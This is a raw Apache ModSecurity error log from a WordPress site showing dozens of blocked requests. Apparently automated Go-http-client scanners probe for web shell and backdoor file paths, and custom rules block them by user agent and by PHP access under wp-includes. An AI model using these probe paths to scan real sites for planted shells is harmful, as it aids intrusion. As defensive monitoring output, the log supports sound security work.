[Sun May 24 18:39:01.730571 2026] [:error] [pid 49689:tid 49725] [client 203.25.124.212:50357] [client 203.25.124.212] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-admin.php"] [unique_id "ahLVRQaxiY3NxLUD97V2fAAAAIc"]
[Sun May 24 18:39:03.426103 2026] [:error] [pid 23497:tid 23509] [client 203.25.124.47:27187] [client 203.25.124.47] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/css/dist/"] [unique_id "ahLVRyPlV47QcYwd2v_5ogAAAUk"]
[Sun May 24 18:39:04.929113 2026] [:error] [pid 23497:tid 23521] [client 203.25.124.73:43365] [client 203.25.124.73] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/x.php"] [unique_id "ahLVSCPlV47QcYwd2v_5qAAAAVU"]
[Sun May 24 18:39:06.332398 2026] [:error] [pid 23497:tid 23505] [client 203.25.124.215:53401] [client 203.25.124.215] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/Text/"] [unique_id "ahLVSiPlV47QcYwd2v_5rAAAAUU"]
[Sun May 24 18:39:08.129619 2026] [:error] [pid 4777:tid 4792] [client 203.25.124.40:25699] [client 203.25.124.40] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/assets/"] [unique_id "ahLVTPtPctoQOm4w5pN4LgAAAco"]
[Sun May 24 18:39:11.928763 2026] [:error] [pid 23497:tid 23511] [client 203.25.124.35:55117] [client 203.25.124.35] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/themes/fukasawa/inc/classes/403.php"] [unique_id "ahLVTyPlV47QcYwd2v_5uwAAAUs"]
[Sun May 24 18:39:19.123168 2026] [:error] [pid 49688:tid 49695] [client 203.25.124.74:51715] [client 203.25.124.74] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/themes/"] [unique_id "ahLVV2YoQ9V6a_4pBsiwiAAAAEQ"]
[Sun May 24 18:39:21.143091 2026] [:error] [pid 2639:tid 2660] [client 203.25.124.2:20823] [client 203.25.124.2] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/hello.php"] [unique_id "ahLVWUzQncQTd0Z0Oe9u2gAAARM"]
[Sun May 24 18:39:21.532690 2026] [:error] [pid 23497:tid 23522] [client 212.32.76.5:23695] [client 212.32.76.5] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/system.php"] [unique_id "ahLVWSPlV47QcYwd2v_51AAAAVY"]
[Sun May 24 18:39:22.934223 2026] [:error] [pid 49775:tid 49797] [client 203.25.124.55:30287] [client 203.25.124.55] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-admin/maint/"] [unique_id "ahLVWovZb8G6T8WpI1icNQAAABQ"]
[Sun May 24 18:39:29.037404 2026] [:error] [pid 4777:tid 4788] [client 203.25.124.212:21353] [client 203.25.124.212] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-admin/css/colors/blue/"] [unique_id "ahLVYftPctoQOm4w5pN4QgAAAcY"]
[Sun May 24 18:39:30.532142 2026] [:error] [pid 4777:tid 4804] [client 203.25.124.72:26547] [client 203.25.124.72] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/css/dist/components/"] [unique_id "ahLVYvtPctoQOm4w5pN4SAAAAdY"]
[Sun May 24 18:39:31.736858 2026] [:error] [pid 49744:tid 49761] [client 203.25.124.52:21569] [client 203.25.124.52] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/log.php"] [unique_id "ahLVYzsE5kPdFpUbbHHRXQAAAM8"]
[Sun May 24 18:39:40.742054 2026] [:error] [pid 49775:tid 49789] [client 212.32.76.6:38415] [client 212.32.76.6] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-admin/js/widgets/maint/"] [unique_id "ahLVbIvZb8G6T8WpI1icRAAAAAw"]
[Sun May 24 18:39:41.726272 2026] [:error] [pid 23497:tid 23506] [client 203.25.124.215:41221] [client 203.25.124.215] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/simple.php"] [unique_id "ahLVbSPlV47QcYwd2v_55gAAAUY"]
[Sun May 24 18:39:42.642500 2026] [:error] [pid 41708:tid 41723] [client 212.32.76.7:28313] [client 212.32.76.7] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/ab.php"] [unique_id "ahLVbv4tQzoTxpuHBF7MLAAAAY0"]
[Sun May 24 18:39:44.638787 2026] [:error] [pid 23497:tid 23520] [client 203.25.124.52:30715] [client 203.25.124.52] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-admin/images/admin.php"] [unique_id "ahLVcCPlV47QcYwd2v_57AAAAVQ"]
[Sun May 24 18:39:46.225466 2026] [:error] [pid 49689:tid 49719] [client 203.25.124.41:46093] [client 203.25.124.41] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-wlx.php"] [unique_id "ahLVcgaxiY3NxLUD97V2fwAAAIE"]
[Sun May 24 18:39:47.633384 2026] [:error] [pid 2639:tid 2645] [client 203.25.124.35:41153] [client 203.25.124.35] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/info.php"] [unique_id "ahLVc0zQncQTd0Z0Oe9u5wAAAQQ"]
[Sun May 24 18:39:53.832087 2026] [:error] [pid 4777:tid 4787] [client 203.25.124.74:55127] [client 203.25.124.74] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/enhanced-text-widget/analyst/src/403x.php"] [unique_id "ahLVeftPctoQOm4w5pN4VwAAAcU"]
[Sun May 24 18:39:54.831177 2026] [:error] [pid 4777:tid 4784] [client 203.25.124.31:26903] [client 203.25.124.31] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-admin/includes/"] [unique_id "ahLVevtPctoQOm4w5pN4XQAAAcI"]
[Sun May 24 18:39:55.738884 2026] [:error] [pid 2639:tid 2652] [client 203.25.124.37:55473] [client 203.25.124.37] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/ioxi-o.php"] [unique_id "ahLVe0zQncQTd0Z0Oe9u8wAAAQs"]
[Sun May 24 18:39:56.740223 2026] [:error] [pid 49744:tid 49761] [client 203.25.124.66:59195] [client 203.25.124.66] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/Requests/src/Exception/Transport/"] [unique_id "ahLVfDsE5kPdFpUbbHHRcAAAAM8"]
[Sun May 24 18:40:02.219535 2026] [:error] [pid 49689:tid 49719] [client 203.25.124.211:37075] [client 203.25.124.211] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/m.php"] [unique_id "ahLVggaxiY3NxLUD97V2igAAAIE"]
[Sun May 24 18:40:08.337672 2026] [:error] [pid 49775:tid 49781] [client 203.25.124.211:20885] [client 203.25.124.211] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/wp-conflg.php"] [unique_id "ahLViIvZb8G6T8WpI1icTgAAAAQ"]
[Sun May 24 18:40:14.525384 2026] [:error] [pid 4777:tid 4782] [client 203.25.124.58:64533] [client 203.25.124.58] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/uploads/2024/"] [unique_id "ahLVjvtPctoQOm4w5pN4aAAAAcA"]
[Sun May 24 18:40:16.130400 2026] [:error] [pid 2639:tid 2652] [client 203.25.124.49:35903] [client 203.25.124.49] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/admin.php"] [unique_id "ahLVkEzQncQTd0Z0Oe9vDwAAAQs"]
[Sun May 24 18:40:17.332023 2026] [:error] [pid 41708:tid 41734] [client 212.32.76.9:38573] [client 212.32.76.9] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/shell/"] [unique_id "ahLVkf4tQzoTxpuHBF7MOQAAAZg"]
[Sun May 24 18:40:19.243278 2026] [:error] [pid 23497:tid 23517] [client 203.25.124.66:63507] [client 203.25.124.66] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-admin/css/colors/modern/test2.php"] [unique_id "ahLVkyPlV47QcYwd2v_6BAAAAVE"]
[Sun May 24 18:40:21.627645 2026] [:error] [pid 23497:tid 23508] [client 212.32.76.7:37967] [client 212.32.76.7] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/admin/function.php"] [unique_id "ahLVlSPlV47QcYwd2v_6CQAAAUg"]
[Sun May 24 18:40:22.627635 2026] [:error] [pid 23497:tid 23515] [client 203.25.124.67:48779] [client 203.25.124.67] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-admin/network/"] [unique_id "ahLVliPlV47QcYwd2v_6DQAAAU8"]
[Sun May 24 18:40:28.735069 2026] [:error] [pid 4777:tid 4787] [client 212.32.76.13:27129] [client 212.32.76.13] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/uploads/2025/"] [unique_id "ahLVnPtPctoQOm4w5pN4dwAAAcU"]
[Sun May 24 18:40:31.121484 2026] [:error] [pid 4777:tid 4785] [client 203.25.124.40:35305] [client 203.25.124.40] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/edit.php"] [unique_id "ahLVn_tPctoQOm4w5pN4fwAAAcM"]
[Sun May 24 18:40:32.034025 2026] [:error] [pid 49689:tid 49718] [client 212.32.76.2:21431] [client 212.32.76.2] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/header.php"] [unique_id "ahLVoAaxiY3NxLUD97V2mwAAAIA"]
[Sun May 24 18:40:33.925804 2026] [:error] [pid 49744:tid 49753] [client 203.25.124.73:22309] [client 203.25.124.73] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/ahax.php"] [unique_id "ahLVoTsE5kPdFpUbbHHRgwAAAMc"]
[Sun May 24 18:40:35.333334 2026] [:error] [pid 4777:tid 4784] [client 212.32.76.2:43783] [client 212.32.76.2] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-admin/css/colors/light/"] [unique_id "ahLVo_tPctoQOm4w5pN4iwAAAcI"]
[Sun May 24 18:40:41.634170 2026] [:error] [pid 23497:tid 23506] [client 203.25.124.65:39019] [client 203.25.124.65] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/blocks/code/"] [unique_id "ahLVqSPlV47QcYwd2v_6JwAAAUY"]
[Sun May 24 18:40:43.727592 2026] [:error] [pid 23497:tid 23523] [client 212.32.76.7:21283] [client 212.32.76.7] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/about.php"] [unique_id "ahLVqyPlV47QcYwd2v_6LgAAAVc"]
[Sun May 24 18:40:45.927108 2026] [:error] [pid 49744:tid 49757] [client 203.25.124.66:56441] [client 203.25.124.66] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/block-bindings/"] [unique_id "ahLVrTsE5kPdFpUbbHHRhgAAAMs"]
[Sun May 24 18:40:47.736512 2026] [:error] [pid 49744:tid 49759] [client 203.25.124.69:57465] [client 203.25.124.69] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/languages/themes/"] [unique_id "ahLVrzsE5kPdFpUbbHHRjAAAAM0"]
[Sun May 24 18:40:48.735615 2026] [:error] [pid 23497:tid 23509] [client 203.25.124.74:60249] [client 203.25.124.74] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/blocks/archives/"] [unique_id "ahLVsCPlV47QcYwd2v_6NwAAAUk"]
[Sun May 24 18:40:49.736794 2026] [:error] [pid 49744:tid 49765] [client 203.25.124.31:23623] [client 203.25.124.31] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/PHPMailer/"] [unique_id "ahLVsTsE5kPdFpUbbHHRjwAAANM"]
[Sun May 24 18:40:50.930037 2026] [:error] [pid 49775:tid 49798] [client 203.25.124.40:27473] [client 203.25.124.40] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/blocks/post-comments-form/"] [unique_id "ahLVsovZb8G6T8WpI1icaAAAABU"]
[Sun May 24 18:40:51.937104 2026] [:error] [pid 41708:tid 41731] [client 212.32.76.2:33563] [client 212.32.76.2] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content.php"] [unique_id "ahLVs_4tQzoTxpuHBF7MQQAAAZU"]
[Sun May 24 18:40:53.226879 2026] [:error] [pid 23497:tid 23501] [client 203.25.124.65:39201] [client 203.25.124.65] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/gk.php"] [unique_id "ahLVtSPlV47QcYwd2v_6OgAAAUE"]
[Sun May 24 18:40:54.735225 2026] [:error] [pid 23497:tid 23513] [client 203.25.124.31:49005] [client 203.25.124.31] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/languages/"] [unique_id "ahLVtiPlV47QcYwd2v_6PAAAAU0"]
[Sun May 24 18:40:56.030755 2026] [:error] [pid 49775:tid 49789] [client 203.25.124.211:54953] [client 203.25.124.211] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/config.php"] [unique_id "ahLVuIvZb8G6T8WpI1icbwAAAAw"]
[Sun May 24 18:40:57.426336 2026] [:error] [pid 2639:tid 2664] [client 212.32.76.7:48123] [client 212.32.76.7] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/ID3/"] [unique_id "ahLVuUzQncQTd0Z0Oe9vJgAAARc"]
[Sun May 24 18:40:59.831033 2026] [:error] [pid 23497:tid 23507] [client 203.25.124.49:58851] [client 203.25.124.49] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/themes/wp-blog.php"] [unique_id "ahLVuyPlV47QcYwd2v_6QQAAAUc"]
[Sun May 24 18:41:00.833653 2026] [:error] [pid 23497:tid 23510] [client 203.25.124.74:36703] [client 203.25.124.74] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/bolt.php"] [unique_id "ahLVvCPlV47QcYwd2v_6RAAAAUo"]
[Sun May 24 18:41:03.223519 2026] [:error] [pid 49775:tid 49791] [client 203.25.124.74:45187] [client 203.25.124.74] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/blocks/comments-pagination-numbers/"] [unique_id "ahLVv4vZb8G6T8WpI1icdQAAAA4"]
[Sun May 24 18:41:03.633095 2026] [:error] [pid 23497:tid 23519] [client 212.32.76.2:50519] [client 212.32.76.2] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/login.php"] [unique_id "ahLVvyPlV47QcYwd2v_6SgAAAVM"]
[Sun May 24 18:41:05.530772 2026] [:error] [pid 23497:tid 23520] [client 203.25.124.212:56781] [client 203.25.124.212] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/IXR/"] [unique_id "ahLVwSPlV47QcYwd2v_6UwAAAVQ"]
[Sun May 24 18:41:08.337486 2026] [:error] [pid 49744:tid 49769] [client 212.32.76.8:39749] [client 212.32.76.8] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/plugin/"] [unique_id "ahLVxDsE5kPdFpUbbHHRmwAAANc"]
[Sun May 24 18:41:10.233012 2026] [:error] [pid 49688:tid 49709] [client 203.25.124.67:53879] [client 203.25.124.67] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/themes/theme-check/main.php"] [unique_id "ahLVxmYoQ9V6a_4pBsiwwQAAAFI"]
